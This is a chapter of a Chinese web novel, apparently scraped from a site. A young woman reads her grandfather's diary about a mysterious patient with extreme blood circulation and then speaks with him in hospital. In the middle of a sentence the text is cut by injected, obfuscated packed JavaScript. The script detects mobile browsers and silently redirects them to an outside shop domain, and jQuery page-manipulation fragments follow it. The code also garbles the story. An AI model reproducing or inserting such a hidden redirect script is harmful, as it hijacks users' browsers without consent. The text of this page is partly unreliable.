齐晴回到顶层病房时,爷爷依旧沉睡着。
深夜的住院楼彻底褪去了白日的喧嚣,冗长的走廊死寂得可怕。大半照明灯具已然自动熄灭,只剩墙角几盏嵌入式应急灯兀自亮着昏沉微光,淡淡的冷白光晕平铺在光洁的地面上,拉长周遭的阴影,将长长的过道衬得幽深又清冷,连空气都透着病房特有的消毒水味。
齐晴在靠墙的硬质长椅上缓缓落座,身侧搁着那只斑驳陈旧的破箱子,箱子的木纹被岁月磨得模糊,有股泥土腐败的气息。
她手里攥着一本泛黄卷边的旧日记,纸张薄而发脆,是似存放数十年的老旧质感。
纸页历经风雨侵蚀与时光积压,边缘脆得一碰便簌簌脱落细碎纸屑,老旧纸张混着潮湿尘封的气息,裹挟着淡淡的霉味,缓缓漫开,是独属于尘封往事的味道。
齐晴低头缓缓翻页,纸面字迹深浅错落、断断续续,早年的笔墨早已氧化发淡,多处被水渍浸染,晕开一片模糊的墨痕,大半内容都难以清晰辨认。
可一个细微的异常,牢牢锁住了她的目光。
这本承载着过往的日记,竟藏着两种截然不同的笔迹。
一前一后续写着,其一工整沉稳、内敛规整,落笔稳重有力,是爷爷的字迹;另一种笔触略显潦草,力度极浅,像是幼儿刚学会写字,胡乱写的。
齐晴将薄薄的纸页凑近微弱的灯光,指腹轻轻摩挲着凹凸粗糙的纸面,一点点耐心辨认那些模糊残缺的文字,逐行打捞被时光掩埋的记录。
2056年,我接诊一例罕见特殊病案。
那是一具未知病原体感染,患者无急性致死症状,无发热剧痛等常规病症,唯一表现为持续性深度昏迷。但在昏迷期间,病患体内血液流速会持续异常飙升,彻底颠覆正常人体生理极限。
我们暂时将这一未知、无法定性的病原体,命名为:一号病原体。
她指尖轻翻下一页,映入眼帘的是密密麻麻、规整排列的专业数据,每一组数字都标注得极为精细,透着严谨的科研痕迹。
正常人体代谢周期:
—红细胞更新周期:约120天
—皮肤表皮细胞更新周期:28天
—肝脏细胞更新周期:150?300天
—骨骼细胞更新周期:数年
—安静状态下,人体完整血液循环周期:20?25秒
而一号病患的身体数据,完全突破了所有已知的医学常识与生理规律。
她的全身血液循环,仅需三秒即可完成一次完整循环。
三秒。
短短一瞬,是常人难以想象的代谢速度,差距悬殊得骇人,冰冷的数字透着极致的诡异。
齐晴动作微顿,心底快速推演换算,心底骤然一凉。
按照这般恐怖的代谢速率,病患静静平躺一小时,身体损耗与代谢总量,便等同于普通人整整一年的消耗。日复一日的高速代谢,足以一点点啃噬人的生机,却又让人始终保持着微弱的存活。
这般特殊的生理构造与病理特征,具备极高、近乎疯狂的医学研究价值。一旦彻底破译突破,足以颠覆现有医学体系,成为医学界跨时代的转折点。
这是一次机会,也是危机。
三月,我正式全权接手一号病案。
从此常驻特殊监护病区,全程跟进观测记录。
日记中间数十页早已受潮粘连、紧紧贴合在一起。
齐晴小心翼翼逐页剥离,指尖沾染上一层灰褐色的陈旧碎屑,动作放得极轻,生怕稍一用力就撕碎这些仅存的记录。
她耐心翻找,终于停在一页保存相对完好、字迹清晰的纸页上。
2060年,十月。一号病原体苏醒,第一次主动与我对话。
她的声息微弱飘忽,字句断断续续,气息虚浮得仿佛随时会消散,几乎难以辨识,我却精准读懂了她话语里的情绪。
那是好奇,好奇我是谁,也好奇她在哪。
彼时,她的躯体报告显示已满二十岁。
但她的实际年龄仅三岁。
可这整整一年间,她清醒的次数,寥寥无几,短暂得如同幻觉。
齐晴眉心缓缓蹙起,心底升起浓重的疑惑。后续大片纸面皆被水渍浸透,墨迹晕染成一片灰黑,像是被刻意泼湿销毁。她凝神辨认许久,只能捕捉到零星破碎的词组,无法拼凑出完整的语句与剧情,终究只能暂且跳过,继续向后翻阅,试图找到更多线索。
10月13日,一号病情出现小幅好转。
她苏醒后总是喜欢凝望着窗外,不知在眺望远方的灯火,还是在等待什么。
我主动与她交谈十数句,她耗尽全身力气,也只能勉强回应半句。
她每日的清醒时长极其短暂,最长不过三分钟,最短仅有寥寥数秒。
2060年,十二月。突破性变故发生,我们研制的药剂,生效了。
短短一句话,落笔力度极重,藏着当年极致的震撼与欣喜。
齐晴瞳孔骤然一凝,心底瞬间绷紧,呼吸微微一滞,立刻急切地向后翻页,想要知晓后续所有真相。
可后续所有纸页,皆是一片空白,干干净净,无一字留存。
不像是从未记录,反倒像是被人刻意彻底清除,或是写完后惨遭撕毁。空白纸页的边缘,残留着浅浅的笔尖压痕,能清晰看出曾经用力落笔的痕迹,所有关键信息却尽数湮灭无踪。
齐晴捏着这页空白信纸,指尖微微收紧,心底疑云翻涌,久久凝眸沉思。她正要折返前页,逐字逐句重新梳理所有零碎线索。
密闭的病房内,忽然传来一声极轻的细碎响动,打破了走廊的寂静。
她迅速合上泛黄的日记,将其妥善扣好,动作利落起身,放轻脚步推门步入病房。
爷爷醒了。
老人双眼半睁,眼皮还有些沉重耷拉,视线未能完全聚焦,唇瓣微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944874|207787||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
微翕动,似有积攒许久的话语。齐晴快步走到病床边,俯身仔细检查低垂的输液管,确认药液匀速滴落,又凝神扫过监护仪上不断跳动的各项数值,确认体征一切正常后,心底悬着的巨石才缓缓落地,紧绷的神经稍稍放松。
“爷爷,您感觉怎么样?身上有没有不舒服的地方?”
她端起床头柜上恒温的温水,插上柔软吸管,小心翼翼地喂老人饮下两口。
老爷子缓缓吞咽后,轻轻摆了摆手,示意不再饮用。
他微微侧过脑袋,浑浊的目光落在齐晴脸上,嗓音带着初醒的沙哑与虚弱:“东西……拿回来了?”
齐晴轻轻颔首:“拿回来了。不过中途有些东西被齐忻悦拿走了一部分。”她稍作停顿,补充道:“她取走了几张老旧的涂鸦图纸。”
她微微一顿,“那东西重要吗?”
老爷子眼皮轻轻抬了抬,眼底掠过一丝微不可察的波澜:“那本日记呢?”
“放在外面长椅上。”齐晴转头望向门口方向,轻声解释,“本子太过陈旧,积了很多灰尘,我怕带进病房落灰、影响到您的身体恢复,就没拿进来。”
老爷子缓缓点头,胸腔微微起伏,气息略显短促孱弱,刚苏醒的身体依旧虚弱乏力。他静置片刻、稍稍调息平缓呼吸后,才再次开口,嗓音愈发轻柔微弱:“内容……都看了?”
“只看了一部分。”齐晴坦诚作答,“年代太久,记录的年份杂乱跳跃,很多字迹又被水泡坏了,看得并不连贯,很多地方都没看懂。”
老人侧过头,目光轻轻落向纯白的天花板,眼底盛满沉淀已久的追忆,周身笼罩着一层淡淡的沧桑。漫长的沉默过后,他才缓缓出声,语调清淡,却裹挟着一段尘封往事的厚重沧桑:“那是一段……很特别的过往。”
他转头重新望向齐晴,涣散的眼神骤然变得专注温和,像是在告诫什么:“这本日记,你务必好好留存。”
“它是你往后最大的底牌。”
齐晴微微一怔,心底微动,随即唇角轻轻扬起,眼底带着几分松弛的试探性的玩笑:“爷爷,这张底牌,可以用来许愿吗?”
老人望着眼前眉眼清亮的少女,眼底漾开一丝浅浅的笑意,语气温和:“只要你想,那便可以。”
玩笑的笑意瞬间从齐晴脸上褪去,她眼神澄澈真挚,字字恳切,藏着心底最纯粹的期盼:“那我许愿,您长命百岁,一直陪着我。”
病房瞬间陷入静谧。
角落的监护仪规律地滴答作响,单调平稳的声响勾勒出安静的氛围。窗外的夜雨早已停歇,夜色沉静,只剩屋檐残水断续滴落,敲出细碎轻柔的声响,落进无边的夜里。
老爷子没有即刻应声。
他静静凝望着齐晴,目光绵长又复杂,藏着无尽的怅然,仿佛看透了前路所有未知的坎坷。良久,他才轻轻吐出一声低沉的叹息,郑重得像是许下跨越岁月的承诺:
“好。”